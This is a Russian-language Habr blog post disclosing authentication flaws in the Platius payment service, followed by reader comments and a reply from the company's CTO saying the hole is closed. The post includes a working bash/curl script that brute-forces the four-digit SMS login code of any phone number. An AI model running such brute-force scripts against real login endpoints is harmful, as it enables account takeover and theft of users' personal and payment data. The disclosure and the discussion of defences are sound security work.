Пользователь
0,0
рейтинг
6 октября 2015 в 10:43

Разработка → Уязвимость в Platius: доступ в любой аккаунт из песочницы

На прошлой неделе пришло письмо с приглашением пройти интервью в компанию Платиус. Позиция была написана как будто под меня, и после созвона была назначена встреча для интервью. У меня оставался вечер на подготовку и я решил изучить, чем же все таки компания занимается.

Оказалось, что «предоставлением» свободного доступа к аккаунтам своих пользователей.



После 5 минут гугла выяснилось:

  • их софт для оплаты счетов с помощью смартфона и для различных программ лояльности;
  • это все начали делать в iiko, где я когда-то был на интервью;
  • их в начале года купил Сбербанк;
  • у них 3,5 миллиона пользователей.

Поигрался с промокодом, ничего интересного не нашел. Решил посмотреть как происходит авторизация и регистрация. После ввода номера телефона просят ввести каптчу. За спиной уже был опыт автоматического прохождения некоторых каптч. В данном случае можно было даже не смотреть на внутренности реализации каптчи и не нужны даже тяжелые OCR алгоритмы. Цифры на изображение всегда:

  • на одном месте
  • одного цвета
  • их всегда 4


Типичная каптча

То есть нам хватит проверки пары контрольных точек для прохождения каптчи. Вот и первое слабое место. Но как оказалось, каптчу можно даже и не проходить.

После проверки каптчи на указанный номер приходит SMS с паролем для входа в кабинет. Но судя по всему связка каптча-сессия не помечается пройденной, и мы можем присылать новые пароли на любой номер телефона в неограниченном количестве. Тем самым можно устроить атаку на модуль отсылки.

Подпись «Если смс не пришло, запросите пароль повторно. Это можно будет сделать через 10 минут» всего лишь фикция, не существует никаких временных ограничений для запроса нового пароля, как собственно и функционала для запроса его.

Переходим к вишенке на торте: к паролю для авторизации в кабинете. Пароль — это 4 десятичные цифры. Попробовал вбить пару невалидных — получил приглашение попробовать еще. Попробовал: ограничением на число попыток и не пахнет, как собственное и сроком жизни такого пароля. Быстренько накатал скрипт для «взлома» своего аккаунта:
seq --equal-width 0 9999 | 
parallel 2> /dev/null -j 0 --halt 2 -q bash -c "
header=\$(curl 'https://platius.ru/ru-RU/Login/PasswordStep' --data 'Login=%2B7xxxxxxxxxx&Password={}' -kis | tac | tac | head -n 1);
if [[ \$header == *\"302\"* ]]; then
  echo {};
  exit 1;
fi"


Эксперимент показал, что мой трехдневный пароль был все еще валиден для входа. Как вы можете догадаться, пароль не помечается использованным после успешной авторизации, что дает злоумышленнику возможность входы в любой кабинет, даже не тревожа владельца SMS.

Доступ в кабинет позволяет получить доступ к различным личным данным и возможно к оплате, которая проходит через привязываемую в кабинете банковскую карту. Я не рискнул тестировать данную часть, так как страшно привязывать свои кровные к таким ненадежным вещам.


К этому всему можно получить доступ

Я первый раз шел на интервью с знанием о серьезных дырах в безопасности приложений — интересный опыт, я вам скажу. Волны адреналина сменяются периодами спокойствия. На интервью после ритуальных танцев с тестами и задачками (которые перешли в наследство от iiko), я рассказал о найденных уязвимостях. Правда, судя по всему, это не считается чем-то критичным, и заделывать дыры никто не спешит. Что огорчает.

Эпилог

По прошествии почти двух недель ничто не починено. Как выяснилось, багбаунти у них нет, и вообще все грустно. Непонятно, почему подзабивают на вещи, которые несут, на мой взгляд, колоссальные репутационные проблемы и возможные финансовые потери для клиентов.

Вопрос о поиске номеров телефонов с кабинетом в платиусе остается открытым, но уверен, что есть прямые или косвенные способы эти данные получить. Допустим, по профилям лайкающих группу Platius вконтакте. Также открыт вопрос о входе в мобильное приложение без предварительно отсылки SMS на номер атакуемого. Задача скорее всего сведется в подмене локальных хранилищ приложения. Так что исследователям есть где развернуться.
Артем Бачевский @fryday
карма
11,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (31)

  • +4
    Сбербанк, говорите?..
    • 0
    • +1
      Вы намекаете, что это не баг, а фича?
      • +9
        это СберБаг
      • +8
        Скорее фирменный стиль
  • 0
    Карты у них подвязываются через paymentgate.ru
  • +1
    После таких статей понимаешь, что оплата всегда должна быть через отдельную специальную карту…
  • 0
    Попробовал перебрать, что то не получается… видимо пофиксили уже
    • +1
      Ну не совсем пофиксили… просто отключили вход. Вообще.
      Скрытый текст

  • +2
    Использовать 4-6 значные коды практически всегда плохая идея — всегда кого то да взломают после долгого брута. Берите хотя бы 9 цифр.
    • 0
      На мой взгляд ненормально позволять вводить неверный код более 5 раз. Далее надо требовать запрос нового кода, причем позволять это делать допустим раз в 10 минут. Ну и ввести временную блокировку аккаунта допустим при 15 подряд идущих неверных вводах.
      А 9 цифр — это очень ударяет по удобству для юзера.
      • 0
        Это сделает брутофорс дольше, но для 4-6 цифр и для тысячи аккаунтов, вероятность что кого то взломает все равно остается высока. А полностью блокировать аккаунт не получится. Значит надо увеличивать длинну кода чтобы сделать брут на порядки сложнее и бесмысленней
      • +1
        Дык, можно в разные аккаунты ломиться. Вероятность угадывания когда остаётся той же. Нужно после скольких-то попыток IP банить, тогда поможет.
        • 0
          Найти тысячи дешевых разных айпи не проблема. Как и капча.
          • 0
            Ну, если код 9-ти значный, то без ipv6 уже не найдёте. А если IP не банить — в конце концов сбрутят.
            • 0
              я про 4-6 значные коды. 9 это уже неплохо
    • +1
      Использовать пароль (тем более получаемый по СМС) для аутентификации в сервис работающий с деньгами вообще плохая идея.
  • +9
    Так и запишем, если нужен бесплатный пентестинг, пригласить fryday на интервью.
  • 0
    Вопрос к автору, не совсем очевидно для чего дважды друг за другом tac?

    $ curl 'https://platius.ru/ru-RU/Login/PasswordStep' --data 'Login=%2B7xxxxxxxxxx&Password={}' -kis | head -n 1
    HTTP/1.1 200 OK
    $ curl 'https://platius.ru/ru-RU/Login/PasswordStep' --data 'Login=%2B7xxxxxxxxxx&Password={}' -kis | tac | tac | head -n 1
    HTTP/1.1 200 OK
    


    Может какой скрытый смысл есть два раза переворачивать stdin?
    • 0
      Это такой хак, который позволяет не получить от curl следующую ошибку:
      $ curl 'https://platius.ru/ru-RU/Login/PasswordStep' --data 'Login=%2B7xxxxxxxxxx&Password={}' -kis | head -n 1
      HTTP/1.1 200 OK
      (23) Failed writing body
      


      Дело в том, что head закрывает pipe до того, как curl запишет туда страницу полностью. Если знаете более элегантный путь, отпишите пожалуйста.
      • 0
        Хм, у меня не воспроизводится. Завсегда нормально отдает и head кажет все без ошибок.

        З.Ы. Погуглил ваш случай, действительно, workaround двойным tac'ом :)
      • 0
        а какой-нибудь «2>/dev/null» не поможет?
        • 0
          Скорее «поможет», так как только скроет ошибку, но не решит ее причины.
  • +2
    Ребята, привет!

    Меня зовут Кирилл Сухоносенко — я технический директор Platius.

    От лица компании Platius я хочу сказать следующее:

    • Во-первых, спасибо Артему за найденную уязвимость!
    • Во-вторых, мы ее закрыли.
    • В-третьих, мы сожалеем, что такая проблема проскочила через наше тестирование.
    • В-четвертых, насколько мы знаем, этой дырой в безопасности не успели воспользоваться злоумышленники. И мы приняли меры, чтобы они не смогли ей воспользоваться впредь.
    • В-пятых, мы думаем, что стоит объявить награду за ошибки, подобной этой. Поэтому мы готовы начислить 10 000 бонусных рублей Platius на указанный Артемом счет, которые он сможет потратить в отличном месте — Цурцум-кафе — www.facebook.com/zurzum
    • В-шестых, мы думаем открыть программу bug bounty — опубликуем условия, как только решим как это лучше организовать.
    • В-седьмых, мы просим community бережнее относиться к нашим пользователям, и не публиковать в открытых источниках полный код exploit-а. Не стоит подвергать пользователей системы реальному риску. Пожалуйста — пишите нам на security@platius.ru — мы закроем «дыру», внесем вас в Hall of Fame, и не допустим, чтобы наши пользователи подверглись угрозе. К слову, статья с кодом эксплоита подпадает под действия статей 272, 33 и 34 УК РФ…


    ПС: We’re hiring! Мы ищем новых коллег, которые готовы присоединиться к нашей команде. Сильные C# программисты и team leads — welcome!
    Присылайте ваши резюме на job@platius.ru!
    • +3
      Проблема явно в том, что человек извне не может донести до ответственного за безопасность информацию об уязвимости.
      Все сообщения о дырах в безопасности должны обрабатываться любым сотрудником компании. Элементарно взять контакты у заявившего об уязвимости и передать ответственному за безопасность.
      • 0
        Действительно, в 80% случаев можно получить полный игнор и наблюдать уязвимость годами. Иногда еще попадаются угрожающие типы, которым видимо не нравится что их ткнули лицом в их недочет или некомпетентность, и в угрозах они видят способ возвысить себя над нахалом с того конца Email. А чтобы по факту исправленной уязвимости еще и отписали, так это вообще редкий случай. Так что в данном аспекте респект ksukhonosenko.

        Думаю подобные проблемы могут быть исправлены участием в багбаунти через платформы аля HackerOne. Все довольно открыто и прозрачно.
    • 0
      бонусных рублей Platius
      Скрытый текст

      не публиковать в открытых источниках полный код exploit-а
      Почему? Ведь только благодаря этой публикации вы закрыли дыру. Значит публикация ваших эксплойтов — более эффективный способ их закрывать, чем обращение к вашим сотрудникам. И поэтому публикация и есть выражение заботы о ваших пользователях.

      К слову, статья с кодом эксплоита подпадает под действия статей 272, 33 и 34 УК РФ
      А вы шутник.
      • +1
        Ohar, добрый день!

        Ведь только благодаря этой публикации вы закрыли дыру.

        Это не так. Честно.

        А вы шутник.

        Это не шутки. Это вполне серьезно. У меня есть разъяснения от нашей юридической фирмы по данному вопросу.
        Но дело не в этом. Я хотел сказать, что если ты white hat — то не стоит забывать о древнем принципе «не навреди». А если black hat — то будь готов.

        • +1
          Это не так. Честно.

          Очень хорошо, если это так.
          И то, что вы ведёте диалог и хотите вводить баунти-программу — тоже отлично.

          Но угрожать уголовным кодексом человеку, который в меру своих сил стремится сделать ваш сервис лучше, несмотря на разгильдяйство некоторых ваших сотрудников — моветон.
  • +1
    Вы не так меня поняли — я не угрожал. Я просто сказал, как такие вещи квалифицирует наш УК. К сведению.

    Мы не собираемся преследовать никого по данному инциденту. Наоборот, мы благодарны Артему за найденную дыру.

    Но, вместе с тем, мы хотим защитить наших пользователей от будущих проблем. Поэтому мы просим не публиковать полного кода эксплоита. Или делать это после того, как дыра закрыта. Мы можем договориться между собой сколько времени нужно на фикс, и после фикса писать в паблик.

    Важно одно — данные пользователей должны быть защищены. А не наоборот. Потому что «наоборот» — это потенциальный ущерб для пользователей и нарушение закона.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.